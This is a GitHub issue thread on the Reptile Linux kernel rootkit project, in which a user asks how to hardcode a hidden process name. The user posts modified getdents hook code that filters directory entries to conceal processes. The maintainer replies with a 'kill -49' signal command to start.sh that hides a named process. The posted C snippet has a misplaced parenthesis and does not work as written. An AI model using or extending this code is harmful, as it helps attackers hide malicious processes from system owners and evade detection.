f0rb1dd3n / Reptile

LKM Linux rootkit
2.59k stars 575 forks source link

Predefined Hidden process name #7

Closed ghost closed 6 years ago

ghost commented 6 years ago

Hi,

I'm trying to add a hardcoded predefined hidden process name

I'm trying this but It doesn't work

#include <linux/string.h>
static const char* phpn = "process";

in both getdents getdents64:

while(off < ret) {
    dir = (void *)kdir + off;
    if((!p && (memcmp(HIDE, dir->d_name, strlen(HIDE)) == 0)) 
            || (p && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) 

            /* Predefined process check  */
            || (p && (strncmp(dir->d_name, phpn, strlen(phpn)) == 0))

            {
        if(dir == kdir) {
            ret -= dir->d_reclen;
            memmove(dir, (void *)dir + dir->d_reclen, ret);
            continue;
        }
        prev->d_reclen += dir->d_reclen;
    } else {
        prev = dir;
    }
    off += dir->d_reclen;
}
if(copy_to_user(dirent, kdir, ret))

kfree(kdir);
return ret;
}

I was going to add a signal switch next to enable and disable the hiding of predefined process(es)

f0rb1dd3n commented 6 years ago

Hi,

why not add the predefined proc to start.sh script? Is just add a line like this:

kill -49 `ps -ef | grep predefinedproc | grep -v grep | awk '{print $2}'`

I hope this helps you. And sorry my delay. ;)

ghost commented 6 years ago

I realized that dir->d_name in process is the pid digit not process name so I added a "task->comm" condition in is_invisible() function